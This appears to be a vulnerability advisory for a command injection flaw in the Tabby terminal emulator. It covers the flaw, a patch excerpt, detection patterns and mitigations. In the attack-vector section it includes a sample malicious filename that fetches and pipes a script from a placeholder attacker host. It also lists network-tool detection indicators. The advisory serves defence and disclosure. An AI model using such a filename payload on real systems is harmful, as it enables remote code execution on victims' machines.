CVE-2026-46709: Tabby Terminal Emulator RCE Vulnerability

CVE-2026-46709 Overview

CVE-2026-46709 is a command injection vulnerability in Tabby (formerly Terminus), a highly configurable terminal emulator. Versions prior to 1.0.234 insert dropped file paths from tabby-electron/src/pathDrop.ts into the active shell without neutralizing command substitution metacharacters such as $(…) and backticks. This weakness represents an incomplete fix for CVE-2026-45038, which only addressed control characters. An attacker who convinces a victim to drag a maliciously named file into a Tabby terminal window can achieve local code execution when the user presses Enter. The issue is fixed in version 1.0.234.

Critical Impact
A crafted filename containing shell metacharacters can execute arbitrary commands in the victim's terminal context, leading to full compromise of user data and processes.

Affected Products

Tabby (formerly Terminus) terminal emulator versions prior to 1.0.234
The tabby-electron component, specifically src/pathDrop.ts
All platforms supported by the Tabby Electron build

Discovery Timeline

2026-07-15 - CVE-2026-46709 published to NVD
2026-07-16 - Last updated in NVD database

Technical Details for CVE-2026-46709

Vulnerability Analysis

Tabby's drag-and-drop feature is implemented in tabby-electron/src/pathDrop.ts. When a user drags a file into the terminal, the file's absolute path is inserted directly into the active shell buffer. The prior fix for CVE-2026-45038 stripped control characters but did not sanitize shell metacharacters used for command substitution. As a result, filenames containing $(command) or `command` sequences are passed to the shell verbatim. When the victim presses Enter, the shell evaluates the substitution before treating the path as an argument. This turns a benign UI action, dragging a file, into an arbitrary command execution primitive. The vulnerability is classified as CWE-77 (Improper Neutralization of Special Elements used in a Command).

Root Cause

The root cause is missing neutralization of shell command substitution syntax in the path insertion routine. The prior patch addressed only a subset of dangerous characters. Metacharacters that trigger subshell evaluation, $(...) and backticks, were not escaped or quoted. Any dropped path is treated by the shell as a command line fragment rather than as literal data.

Attack Vector

Exploitation requires local user interaction. An attacker crafts a file whose name embeds a command substitution payload, for example report_$(curl attacker.tld|sh).pdf. The file is delivered through email, a shared drive, a downloaded archive, or a web page that triggers a file download. When the victim drags the file into a Tabby terminal and presses Enter, the embedded command executes with the privileges of the terminal's shell session.

typescript

// Security patch in tabby-electron/src/pathDrop.ts
 import { Injectable } from '@angular/core'
-import { TerminalDecorator, BaseTerminalTabComponent } from 'tabby-terminal'
+import { TerminalDecorator, BaseTerminalTabComponent, BaseTerminalProfile } from 'tabby-terminal'
 import { webUtils } from 'electron'
+import { ShellType, TerminalTabComponent } from 'tabby-local'

 /** @hidden */
 @Injectable()
 export class PathDropDecorator extends TerminalDecorator {
-    attach (terminal: BaseTerminalTabComponent<any>): void {
+    attach (terminal: BaseTerminalTabComponent<BaseTerminalProfile>): void {
         setTimeout(() => {
             this.subscribeUntilDetached(terminal, terminal.frontend?.dragOver$.subscribe(event => {
                 event.preventDefault()
// Source: https://github.com/Eugeny/tabby/commit/e151472b951bbd472ddc0545ec8656e4c0f352da

The patch refactors the decorator to be shell-aware through ShellType and BaseTerminalProfile, allowing the drop handler to quote or escape path text according to the target shell rather than passing raw strings.

Detection Methods for CVE-2026-46709

Indicators of Compromise

Shell history entries containing filenames with embedded $(...) or backtick sequences.
Child processes spawned by a Tabby-hosted shell that do not match user-initiated commands, for example curl, wget, bash -c, or powershell launched from a graphical session.
Unexpected outbound network connections originating from shell processes shortly after a drag-and-drop action.
Presence of files on disk with names containing shell metacharacters delivered via download or archive extraction.

Detection Strategies

Alert on process trees where tabby.exe or the Tabby Electron binary is the ancestor of interpreters spawning network utilities.
Inspect shell command history for lines matching regular expressions such as \$$[^)]+$ or `[^`]+` inside file paths.
Correlate file creation events for filenames containing $, `, ;, or | with subsequent shell invocations.

Monitoring Recommendations

Enable command-line auditing on endpoints running Tabby, using Sysmon on Windows or auditd execve rules on Linux.
Forward shell history and process telemetry to a centralized SIEM for hunting on suspicious substitution patterns.
Track installed Tabby versions across the fleet and flag any host still running a release earlier than 1.0.234.

How to Mitigate CVE-2026-46709

Immediate Actions Required

Upgrade Tabby to version 1.0.234 or later on every workstation where the application is installed.
Audit software inventory to identify all Tabby installations, including per-user installs outside managed package repositories.
Instruct users not to drag files from untrusted sources into terminal windows until the update is applied.

Patch Information

The fix is included in Tabby v1.0.234. The relevant code change is documented in the GitHub commit e151472 and described in GitHub Security Advisory GHSA-mq9v-2pgm-fxgh. The patch makes the path drop decorator shell-aware so that dropped paths are quoted or escaped for the target shell.

Workarounds

Disable drag-and-drop file insertion into Tabby terminals where the feature is not required.
Handle untrusted archives and downloads in a sandboxed file manager rather than opening the containing folder near a Tabby window.
Rename suspicious files to remove shell metacharacters before interacting with them in any terminal.

bash

# Verify the installed Tabby version and enforce the fixed release
tabby --version

# Example: block execution of vulnerable versions via a wrapper check
REQUIRED="1.0.234"
CURRENT="$(tabby --version | awk '{print $NF}')"
if [ "$(printf '%s\n' "$REQUIRED" "$CURRENT" | sort -V | head -n1)" != "$REQUIRED" ]; then
    echo "Tabby $CURRENT is vulnerable to CVE-2026-46709. Upgrade to >= $REQUIRED." >&2
    exit 1
fi